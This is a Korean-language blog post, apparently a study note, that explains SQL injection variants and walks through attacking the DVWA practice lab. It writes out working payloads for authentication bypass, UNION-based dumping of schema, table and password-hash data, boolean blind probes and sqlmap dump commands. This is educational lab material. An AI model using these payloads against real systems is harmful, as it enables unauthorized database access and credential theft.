SQL INJECTION (SQL 삽입)
악의적인 사용자가 입력값으로 웹사이트 SQL 쿼리를 주입하고 실행되게 하여
DB가 비정상적인 동작을 하도록 조작하는 행위
SQL INJECTION 종류
1) Error based SQL Injection (논리적 에러를 이용)
논리적 에러를 이용한 기법으로 가장 많이 쓰이고 대중적인 공격 기법
다양한 패턴을 통한 우회 공격으로 쿼리를 실행하게 한다.
① SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'
② SQL INJECTION으로 'OR 1=1 -- 주입
③ SELECT * FROM Users WHERE id = ' ' OR 1=1 -- ' AND password = 'INPUT2'
WHERE 절에 있는 싱글쿼터를 싱글쿼터로 닫아주고 OR 1=1 라는 구문으로 WHERE 절을 참으로 만들고 --를 넣어줌으로 뒤의 구문을 모두 주석 처리 해주었다.
WHERE 구문이 우회된채로 SQL 쿼리문이 실행되어 Users 테이블에 있는 모든 정보가 조회하게 되서 가장 먼저 만들어진 계정으로 로그인에 성공한다.보통 관리자 계정은 처음 만들어지기 때문에 관리자 계정에 로그인할 수 있게 된다.
'''
SELECT: 테이블에서 튜플 검색
INSERT: 테이블에 튜플 삽입
DELETE: 테이블에서 튜플 삭제
UPDATE: 테이블에서 튜플 내용 갱신
'''
2) Union based SQL Injection (Union 명령어를 이용)
SQL에서 Union 키워드는 두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드
정상적인 쿼리문에 Union 키워드를 사용하여 인젝션에 성공하면 원하는 쿼리문을 실행할 수 있게 된다.
Union 하는 두 테이블의 컬럼 수가 같아야 하고 데이터 형식이 같아야 한다.
① SELECT * FROM Board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'
② SQL INJECTION으로 ' UNION SELECT null,id,password FROM Users-- 주입
③ SELECT * FROM Board WHERE title LIKE '% ' UNION SELECT null,id,password FROM Users-- OR contents '%' UNION SELECT null,id,password FROM Users--%'
Board 라는 테이블에서 게시글을 검색하는 쿼리문이다.
입력값을 title 과 contents 컬럼의 데이터랑 비교한 뒤 INPUT 글자가 있는 게시글을 출력한다.
여기서 입력값으로 Union 키워드와 함께 컬럼 수를 맞춰서 SELECT 구문을 넣어주게 되면
두 쿼리문이 합쳐서서 하나의 테이블로 보여지게 된다.
인젝션 한 구문은 사용자의 id와 passwd를 요청하는 쿼리문 이다.
인젝션이 성공하게 되면, 사용자의 개인정보가 게시글과 함께 보여진다.
'''
UNION : 두 쿼리문의 결과를 합하여 출력, 중복된 행은 한 번만 출력
row(행) column(열)null : 값이 없음
'''
3) Blind SQL Injection (Boolean based SQL )
데이터베이스로부터 특정한 값이나 데이터를 전달받지 않고, 단순히 참과 거짓의 응답만 알 수 있을 때 사용한다.
로그인 폼에 SQL Injection이 가능하다고 가정 했을 때, 서버가 응답하는 로그인 성공과 로그인 실패 메시지를 이용하여 DB의 테이블 정보 등을 추출해 낼 수 있다.
입력한 구문이 참이 될 때까지 값을 변경해 가면서 테이블명 등을 알아낼 수 있다.
'''
substr('Hello', 1, 5) (문자열,시작위치,개수)
문자열의 시작위에서부터 개수만큼의 글자를 가져온다.
Hello
columns limit 0, 10
0번째 데이터를 시작으로 10개의 데이터를 출력 (0~9번째 줄)
ASCII 기준값 100을 바꿔가며 열이름의 첫글자를 알아낸다.
limit 의 몇번째 숫자를 바꿔가며 두번쨰 글자 알아낸다. => 또 비교숫자 바꿔가며 두번쨰 글자 알아낸다.
이런 식으로 테이블명을 알아낼 수 있다.
'''
4) Blind SQL Injection (Time based SQL)
응답메세지가 항상 동일하여 해당 결과만으로 참과 거짓을 판별할 수 없는 경우가 있을 수 있다.
DVWA 페이지는 다른 결과를 보여주지만 응답결과가 동일하다면
시간을 지연시키는 쿼리를 주입하여 응답 시간의 차이로 참과 거짓 여부를 판별할 수 있다.
SLEEP 과 BENCHMARK , WAIT 등 시간 지연 함수를 동작하게 하여 응답속도로 데이터베이스의 길이 등을 알아낼 수 있다.
'''
개발자도구의 network 탭에서 응답속도를 확인할 수 있다.
'''
SQL INJECTION (Low)
User ID 라는 입력폼이 첫 화면에 보였고
이 폼에 1 을 입력하였더니 1의 회원정보인 admin
2 를 입력하였더니 2의 회원정보인 이름 Gordon 성 Brown을 출력하고 있었다.
이번에는 웹페이지가 SQL injection에 취약한지 알아보기 위해 특수문자( 작은 따옴표)를 입력을 해보았다.
위처럼 빈페이지 혹은 SQL 오류메세지로 리다이렉션 되는 것을 확인하였고
SQL INJECTION에 취약하다는 것을 알 수 있었다.
소스코드를 확인하니 사용자 입력값에 작은 따옴표를 넣는다면 해당 쿼리문은
SELECT first_name, last_name FROM users WHERE user_id=' ' ';";
작은 따옴표 3개가 되어 쿼리문 자체에 오류가 일어난다.
1) WHERE 구문 우회
1' or '1'='1 을 입력하여
user_ id = '1' or '1'='1' 이 되게 하여 항상 참이 되도록 만들었다.
참값을 넣으1인 ID를 포함하여 DB에 모든 ID 값과 이름이 출력되었다.
2) UNION based SQL injection
먼저 두 쿼리의 칼럼 갯수와 데이터형식이 같아야 하고 칼럼명, 테이블명 등을 알아야 한다.
① UNION 으로 칼럼 개수 알아보기
두 개의 SELECT 문을 사용하겠다.
UNION은 칼럼 갯수가 같지 않으면 오류 발생한다.
여러 차례 대입해보면서 오류 발생하지 않을 때까지 칼럼 갯수를 알아보겠다. (# 뒤는 주석처리되어 실행되지 않는다.)
첫번째 시도
1' union select 1#
두번째 시도
1' union select 1,1#
세번째 시도
1' union select 1,1,1#
따라서 칼럼 갯수가 2개 일 때만 정상적으로 작동한다.
② ORDER BY으로 칼럼 개수 알아보기
어떤 칼럼을 기준으로 정렬할때 사용하는 키워드이다.
칼럼의 갯수보다 큰 값을 입력하면 정렬을 할 수 없기 때문에 오류가 발생한다.
첫번째 시도
1' order by 1#
두번째 시도
1' order by 2#
세번째 시도
1' order by 3#
칼럼의 갯수보다 3이 크기 때문에 에러를 발생시킨다.
따라서 칼럼갯수는 2개이다.
③ DB명 조회
1' union select schema_name,1 from information_schema.schemata #
MYSQL에서는 information_schema라는 데이터 베이스에서 데이터베이스 정보,테이블,칼럼 정보 등을 관리하고 있다.
schema_name 을 통해 데이터베이스 명을 조회 할 수 있다.
dvwa라는 데이터베이스명이 있다는 것을 알았다.
④ DB의 테이블명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #
dvwa라는 DB명을 얻었고 테이블명을 조회해볼 것이다.
users 라는 테이블명이 있다는 것을 알았다.
⑤ DB의 테이블에 있는 칼럼명 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#
users라는 테이블명을 얻었고 해당 테이블의 칼럼명들을 조회할 것이다.
user와 password 칼럼이 있다는 것을 알았다.
⑥ 칼럼명을 통해 데이터 조회
1' union select user,password from users #
password가 해쉬값으로 변경되어 있는데
이는 데이터베이스가 공격당해도 패스워드를 보호하기위한 암호 방법 중 하나이다.
md5 암호를 복호화(디코딩) 할 수 있다.
Blind SQL Injection (Low)
1~5까지는 User ID 존재한다고 출력
작은따옴표를 넣으니 User ID 존재하지 않는다고 출력됨.
1' and 1=1 # (참) 입력 시 User ID 존재한다고 출력
1' and 1=2 # (거짓) 입력 시 User ID 존재하지 않는다고 출력
결과 값이 달라지는 것을 보아 쿼리를 변조할 수 있다는 것을 알 수 있다.
참과 거짓만 출력할 경우 SQL injection 처럼 결과를 직접적으로 얻어낼 수 없지만
어떠한 명제를 제시하여 그 명제가 참인지 거짓인지는 알 수 있다.
1) 직접 노가다
① UNION 으로 칼럼 개수 알아보기
' union select 1#
결과는 거짓
' union select 1,1#
결과는 참이므로 칼럼 개수는 2개이다.
② DB명 길이 확인
1' and length(database())=4#
결과는 참
1' and length(database())=5#
결과는 거짓이므로 DB명의 길이는 4이다.
③ DB명 확인
1' and substr(database(),1,1)='a'#
결과는 거짓
1' and substr(database(),1,1)='d'#
1' and substr(database(),2,1)='v'#
1' and substr(database(),3,1)='w'#
1' and substr(database(),4,1)='a'#
결과는 참이므로 DB명은 dvwa 이다.
이런 식으로 한다면 테이블명의 길이, 테이블 이름 등 을 알아낼 수 있다.
2) SQL MAP
SQL MAP 프로그램을 이용한 블라인드 인젝션을 해볼 것이다.
해당 프로그램은 파이썬을 이용해 만들어진 프로그램으로 칼리 리눅스 안에도 있다.
공격할 url주소를 입력하면 sqlmap은 그 url 대상으로 자동으로 공격을 시도한다.
sqlmap -u 를 적고, dvwa의 주소를 주고 dvwa처럼 로그인이 된 상태에서 실행 할 경우 쿠키값까지 함께 입력해주어야 한다.
해당 쿠키값을 알아내는 방법은 해당 페이지 개발자도구의 console에서 document.cookie를 입력하면 확인할 수 있다.
① DB명 확인
sqlmap -u URL --cookie=COOKIE 을 입력한다.
총 226번의 요청이 있었고
boolean-based blind와 time-based blind 가 가능하다.
해당 웹앱에서 사용되는 db는 dvwa 라는 것을 알아냈다.
② 테이블명 확인
-D DB_NAME --tables로 해당 DB의 테이블을 알 수 있다.
dvwa db의 테이블 명을 알아냈다
③ 칼럼명 확인
-D DB_NAME -T TABLE_NAME --columns로 칼럼 이름을 알 수 있다.
users테이블에서 password 칼럼을 알아냈다.
④ password칼럼의 데이터 확인
-D DB_NAME -T TABLE_NAME -C COLUMN_NAME --dump로 password칼럼의 데이터를 dump 해서
해쉬 값으로 되어있는 값들을 알아내보았다.
해쉬 값으로 된 비밀번호 데이터 알아냈다.
참고
https://noirstar.tistory.com/264
https://m.blog.naver.com/lstarrlodyl/221837243294
'Security > 웹 모의해킹 실습' 카테고리의 다른 글
Weak Session IDs (Low) (0) | 2023.07.17 |
---|---|
XSS (Stored, Reflected, DOM) (Low) (0) | 2023.07.17 |
File Upload & Insecure CAPTCHA (Low) (0) | 2023.07.16 |
CSRF & File Inclusion (Low) (0) | 2023.07.16 |
Brute Force & Command Injection (Low) (0) | 2023.07.14 |